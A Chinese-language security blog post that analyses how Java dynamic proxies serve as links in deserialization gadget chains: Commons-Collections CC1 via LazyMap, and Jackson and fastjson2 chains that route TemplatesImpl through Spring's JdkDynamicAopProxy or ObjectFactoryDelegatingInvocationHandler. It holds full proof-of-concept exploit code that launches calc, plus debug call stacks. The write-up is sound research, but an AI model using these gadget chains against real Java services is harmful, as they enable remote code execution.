对于动态代理,只记得 cc1 接触过一次,然后就没有怎么碰到过了,而且动态代理似乎利用面还是比较广的,许多关键时刻都会使用到,这里正好来重新学习学习,还记得入门 java 的时候动态代理就学了半天,感觉确实很抽象
首先是我们的调用链
AnnotationInvocationHan.readobject--proxy.entryset--AnnotationInvocationHan.invoke--LazyMap.get--chainedTransformer.transformer....
POC
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC1lazy {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
//定义一系列Transformer对象,组成一个变换链
Transformer[] transformers = new Transformer[]{
//返回Runtime.class
new ConstantTransformer(Runtime.class),
//通过反射调用getRuntime()方法获取Runtime对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
//通过反射调用invoke()方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
//通过反射调用exec()方法启动notepad
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//将多个Transformer对象组合成一个链
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hash = new HashMap<>();
//使用chainedTransformer装饰HashMap生成新的Map
Map decorate = LazyMap.decorate(hash, chainedTransformer);
//通过反射获取AnnotationInvocationHandler类的构造方法
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
//设置构造方法为可访问的
constructor.setAccessible(true);
//通过反射创建 Override 类的代理对象 instance,并设置其调用会委托给 decorate 对象
InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);
//因为AnnotationInvocationHandler是继承了代理接口的,所以可以直接使用它的构造器去构造一个代理的处理器,但是需要强转
//创建Map接口的代理对象proxyInstance,并设置其调用处理器为instance
Map proxyInstance = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, instance);
//再次通过反射创建代理对象
Object o = constructor.newInstance(Override.class, proxyInstance);
serialize(o);
unserialize("1.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}
这里我们只对动态代理的部分做分析
这里本来的目的是寻找一个能够嫁接调用 get 的地方
找到了 AnnotationInvocationHandler 的 invoke 方法
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
只需要它的 memberValues 可以控制就 ok
所以就回到了如何触发 invoke 的问题上来了
可以看到他 implements 了InvocationHandler 这个接口,说明这个类也可以动态代理
因为实现了这个接口必须重写一个 invoke 方法,而且方法会在代理对象的方法被调用时执行,所以我们如果创建一个动态代理,而且把它作为代理的处理器,那么就可以成功的触发 invoke 方法
我们知道因为动态代理的缘故,只要有代理对象的方法被触发,他也会触发。
具体的 cc1 的细节我们就不看了,关键就是如何出的 invoke 方法
接下来是怎么创建一个代理,来把这个类作为代理对象?我们只要使用 Proxy 创建一个代理实例,将我们构造的 AnnotationInvocationHandler 对象作为调用处理器传入。代理什么?
由于 AnnotationInvocationHandler.readObject() 是反序列化的入口,我们需要通过 AnnotationInvocationHandler 来包装由 Proxy 创建的代理对象,并将其重新序列化。
在反序列化时,memberValues 的 entrySet() 方法会被调用,而我们希望 memberValues 内部存储的代理对象能够触发 invoke() 方法,从而进入我们构造的链条。
因为 memberValues 是一个 Map 类型,所以我们需要通过 Proxy 创建一个 Map 类型的代理对象。
简单的调试看看调用栈
invoke:57, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy1 (com.sun.proxy)
readObject:444, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unserialize:67, CC1lazy (cc1)
main:57, CC1lazy (cc1)
这里因为调用了 public abstract java.util.Set java.util.Map.entrySet()触发了动态代理
调用代理的 invoke 方法,从而接起了后面的链子
当然上面的代理虽然是我们链子中的常客,但是限制还是很大的,因为在高版本的 jdk 改了
这里我们看看这个动态代理类
首先如何寻找这种代理呢
其实很简单,只需要实现我们的接口,我们找接口的实现类
但是限制就是需要我们存在依赖
网上找了一下,发现以前见过,网上公开的利用就是在 jackson 原生反序列化的时候
参考https://xz.aliyun.com/t/12846?time\_\_1311=GqGxuDcDRGexlxx2DU27oDkmD8SGCmzmeD
是为了解决 jackson 原生不稳定的痛点
正常的调用链
package org.jackson;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class EXP {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "xxx");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
但是会爆错
Caused by: java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
爆指针的问题
是因为
在调用 getter 方法的时候,是根据 props 的顺序来决定的
protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider)
throws IOException
{
final BeanPropertyWriter[] props;
if (_filteredProps != null && provider.getActiveView() != null) {
props = _filteredProps;
} else {
props = _props;
}
int i = 0;
try {
for (final int len = props.length; i < len; ++i) {
BeanPropertyWriter prop = props[i];
if (prop != null) { // can have nulls in filtered list
prop.serializeAsField(bean, gen, provider);
}
}
if (_anyGetterWriter != null) {
_anyGetterWriter.getAndSerialize(bean, gen, provider);
}
} catch (Exception e) {
String name = (i == props.length) ? "[anySetter]" : props[i].getName();
wrapAndThrow(provider, e, bean, name);
} catch (StackOverflowError e) {
...
}
}
顺序不固定
transletindex
stylesheetDOM
outputProperties
当 stylesheetDOM
在 outputProperties
之前,所以 getStylesheetDOM
会先于 getOutputProperties
触发。当 getStylesheetDOM
方法先被触发时,由于 _sdom
成员为空,会导致空指针报错,反序列化攻击失败。
所以我们利用 JdkDynamicAopProxy 类来代理就是为了解决不稳定痛点
我们看到它的 invoke 方法
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object oldProxy = null;
boolean setProxyContext = false;
TargetSource targetSource = this.advised.targetSource;
Object target = null;
Object retVal;
try {
if (!this.equalsDefined && AopUtils.isEqualsMethod(method)) {
Boolean var18 = this.equals(args[0]);
return var18;
}
if (!this.hashCodeDefined && AopUtils.isHashCodeMethod(method)) {
Integer var17 = this.hashCode();
return var17;
}
if (method.getDeclaringClass() == DecoratingProxy.class) {
Class var16 = AopProxyUtils.ultimateTargetClass(this.advised);
return var16;
}
if (this.advised.opaque || !method.getDeclaringClass().isInterface() || !method.getDeclaringClass().isAssignableFrom(Advised.class)) {
if (this.advised.exposeProxy) {
oldProxy = AopContext.setCurrentProxy(proxy);
setProxyContext = true;
}
target = targetSource.getTarget();
Class<?> targetClass = target != null ? target.getClass() : null;
List chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
if (chain.isEmpty()) {
Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
} else {
MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
retVal = invocation.proceed();
}
Class<?> returnType = method.getReturnType();
if (retVal != null && retVal == target && returnType != Object.class && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {
retVal = proxy;
} else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) {
throw new AopInvocationException("Null return value from advice does not match primitive return type for: " + method);
}
Object var12 = retVal;
return var12;
}
retVal = AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
} finally {
if (target != null && !targetSource.isStatic()) {
targetSource.releaseTarget(target);
}
if (setProxyContext) {
AopContext.setCurrentProxy(oldProxy);
}
}
return retVal;
}
最后会返回一个 retVal 对象,而这个对象是
AopUtils.invokeJoinpointUsingReflection(this.advised, method, args)
得来的,跟进 invokeJoinpointUsingReflection 方法
可以看到可以反射调用方法
而 advised
成员是一个 org.springframework.aop.framework.AdvisedSupport
类型的对象,它的 targetSource
成员中保存了 JdkDynamicAopProxy
类代理的接口的实现类。
思路就是
1. 构造一个 `JdkDynamicAopProxy` 类型的对象,将 `TemplatesImpl` 类型的对象设置为 `targetSource`
2. 使用这个 `JdkDynamicAopProxy` 类型的对象构造一个代理类,代理 `javax.xml.transform.Templates` 接口
3. JSON 序列化库只能从这个 `JdkDynamicAopProxy` 类型的对象上找到 `getOutputProperties` 方法
4. 通过代理类的 `invoke` 机制,触发 `TemplatesImpl#getOutputProperties` 方法,实现恶意类加载
我们举一反三,使用在 fastjson 的原生反序列化中
替代 TemplatesImpl 并不容易,主要是因为要么所需的依赖库较为冷门,或者对版本的要求较为严格,要么是替代品的使用方式并不直观或不够灵活。
因此,换一种思路,我尝试在 JsonArray 和 TemplatesImpl 之间引入一个“中间层”,作为一个连接桥梁,这样既避免了直接替换 TemplatesImpl 的复杂性,又能够实现所需的功能
这里我们调试一下文章给出的代码
public class Fastjson4_JdkDynamicAopProxy {
public Object getObject (String cmd) throws Exception {
Object node1 = TemplatesImplNode.makeGadget(cmd);
Object node2 = JdkDynamicAopProxyNode.makeGadget(node1);
Proxy proxy = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
new Class[]{Templates.class}, (InvocationHandler)node2);
Object node3 = JsonArrayNode.makeGadget(2,proxy);
Object node4 = BadAttrValExeNode.makeGadget(node3);
Object[] array = new Object[]{node1,node4};
Object node5 = HashMapNode.makeGadget(array);
return node5;
}
public static void main(String[] args) throws Exception {
Object object = new Fastjson4_JdkDynamicAopProxy().getObject(Util.getDefaultTestCmd());
Util.runGadgets(object);
}
}
可以很直观的看到是代理了 Templates 接口
在代理类的构造中
public class JdkDynamicAopProxyNode {
public static Object makeGadget(Object gadget) throws Exception {
AdvisedSupport as = new AdvisedSupport();
as.setTargetSource(new SingletonTargetSource(gadget));
return Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy",AdvisedSupport.class,as);
}
}
我们构造的恶意 TemplatesImpl 作为 TargetSource
因为代理的是 Templates
可以看到是只有一个 getter 方法,所以调用栈如下
invoke:160, JdkDynamicAopProxy (org.springframework.aop.framework)
getOutputProperties:-1, $Proxy1 (com.sun.proxy)
write:-1, OWG_1_1_$Proxy1 (com.alibaba.fastjson2.writer)
write:3124, JSONWriterUTF16 (com.alibaba.fastjson2)
toString:914, JSONArray (com.alibaba.fastjson2)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
readObject:1396, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:53, Util (common)
runGadgets:38, Util (common)
main:24, Fastjson4_JdkDynamicAopProxy
只会调用getOutputProperties 方法,触发我们的 invoke
然后调用到我们 TemplatesImpl#getOutputProperties
方法成功实现中间过渡
还是一样方法
首先主体逻辑还是和上面一样的,核心还是代理 Templates 接口
我们看到 invoke 方法
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
switch (method.getName()) {
case "equals":
return proxy == args[0];
case "hashCode":
return System.identityHashCode(proxy);
case "toString":
return this.objectFactory.toString();
default:
try {
return method.invoke(this.objectFactory.getObject(), args);
} catch (InvocationTargetException var6) {
throw var6.getTargetException();
}
}
}
可以看到逻辑,还是一样的,不过区别在于我们的对象是 this.objectFactory.getObject()获取的了
目的就是需要它返回我们的 teamplatesImpl 对象
首先我们寻找继承了 ObjectFactory 的类
也不太多
找了一下确实没有能够利用的
这里师傅的想法是
用 JSONObject 代理 ObjectFactoryDelegatingInvocationHandler 中的 objectFactory 属性,返回 teamplatesImpl
说真的,简直很妙
我们看到 invoke 方法
没想到它也是一个代理类
调试分析一下
invoke:292, AutowireUtils$ObjectFactoryDelegatingInvocationHandler (org.springframework.beans.factory.support)
getOutputProperties:-1, $Proxy2 (com.sun.proxy)
write:-1, OWG_1_1_$Proxy2 (com.alibaba.fastjson2.writer)
write:3124, JSONWriterUTF16 (com.alibaba.fastjson2)
toString:914, JSONArray (com.alibaba.fastjson2)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
readObject:1396, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:53, Util (common)
runGadgets:38, Util (common)
main:33, Fastjson4_ObjectFactoryDelegatingInvocationHandler
然后调用 JSONObject 的 invoke 方法
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
int parameterCount = method.getParameterCount();
Class<?> returnType = method.getReturnType();
if (parameterCount == 1) {
if ("equals".equals(methodName)) {
return this.equals(args[0]);
} else {
Class proxyInterface = null;
Class<?>[] interfaces = proxy.getClass().getInterfaces();
if (interfaces.length == 1) {
proxyInterface = interfaces[0];
}
if (returnType != Void.TYPE && returnType != proxyInterface) {
throw new JSONException("This method '" + methodName + "' is not a setter");
} else {
String name = this.getJSONFieldName(method);
if (name == null) {
if (!methodName.startsWith("set")) {
throw new JSONException("This method '" + methodName + "' is not a setter");
}
name = methodName.substring(3);
if (name.length() == 0) {
throw new JSONException("This method '" + methodName + "' is an illegal setter");
}
name = Character.toLowerCase(name.charAt(0)) + name.substring(1);
}
this.put(name, args[0]);
return returnType != Void.TYPE ? proxy : null;
}
}
} else if (parameterCount == 0) {
if (returnType == Void.TYPE) {
throw new JSONException("This method '" + methodName + "' is not a getter");
} else {
String name = this.getJSONFieldName(method);
Object value;
if (name == null) {
boolean with = false;
int prefix;
if ((methodName.startsWith("get") || (with = methodName.startsWith("with"))) && methodName.length() > (prefix = with ? 4 : 3)) {
char[] chars = new char[methodName.length() - prefix];
methodName.getChars(prefix, methodName.length(), chars, 0);
if (chars[0] >= 'A' && chars[0] <= 'Z') {
chars[0] = (char)(chars[0] + 32);
}
String fieldName = new String(chars);
if (fieldName.isEmpty()) {
throw new JSONException("This method '" + methodName + "' is an illegal getter");
}
value = this.get(fieldName);
if (value == null) {
return null;
}
} else {
if (!methodName.startsWith("is")) {
if ("hashCode".equals(methodName)) {
return this.hashCode();
}
if ("toString".equals(methodName)) {
return this.toString();
}
if (methodName.startsWith("entrySet")) {
return this.entrySet();
}
if ("size".equals(methodName)) {
return this.size();
}
Class<?> declaringClass = method.getDeclaringClass();
if (declaringClass.isInterface() && !Modifier.isAbstract(method.getModifiers()) && !JDKUtils.ANDROID && !JDKUtils.GRAAL) {
MethodHandles.Lookup lookup = JDKUtils.trustedLookup(declaringClass);
MethodHandle methodHandle = lookup.findSpecial(declaringClass, method.getName(), MethodType.methodType(returnType), declaringClass);
return methodHandle.invoke(proxy);
}
throw new JSONException("This method '" + methodName + "' is not a getter");
}
if ("isEmpty".equals(methodName)) {
value = this.get("empty");
if (value == null) {
return this.isEmpty();
}
} else {
name = methodName.substring(2);
if (name.isEmpty()) {
throw new JSONException("This method '" + methodName + "' is an illegal getter");
}
name = Character.toLowerCase(name.charAt(0)) + name.substring(1);
value = this.get(name);
if (value == null) {
return false;
}
}
}
} else {
value = this.get(name);
if (value == null) {
return null;
}
}
if (!returnType.isInstance(value)) {
Function typeConvert = JSONFactory.getDefaultObjectReaderProvider().getTypeConvert(value.getClass(), method.getGenericReturnType());
if (typeConvert != null) {
value = typeConvert.apply(value);
}
}
return value;
}
} else {
throw new UnsupportedOperationException(method.toGenericString());
}
}
最后返回的是 value,我们主要关心 value
因为我们调用的方法是 getObejct\
会进入如下的 if
if ((methodName.startsWith("get") || (with = methodName.startsWith("with"))) && methodName.length() > (prefix = with ? 4 : 3)) {
char[] chars = new char[methodName.length() - prefix];
methodName.getChars(prefix, methodName.length(), chars, 0);
if (chars[0] >= 'A' && chars[0] <= 'Z') {
chars[0] = (char)(chars[0] + 32);
}
String fieldName = new String(chars);
if (fieldName.isEmpty()) {
throw new JSONException("This method '" + methodName + "' is an illegal getter");
}
value = this.get(fieldName);
if (value == null) {
return null;
}
可以看出来是取出了我们的对象,成功达成目的
最后成功达成目的
5 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!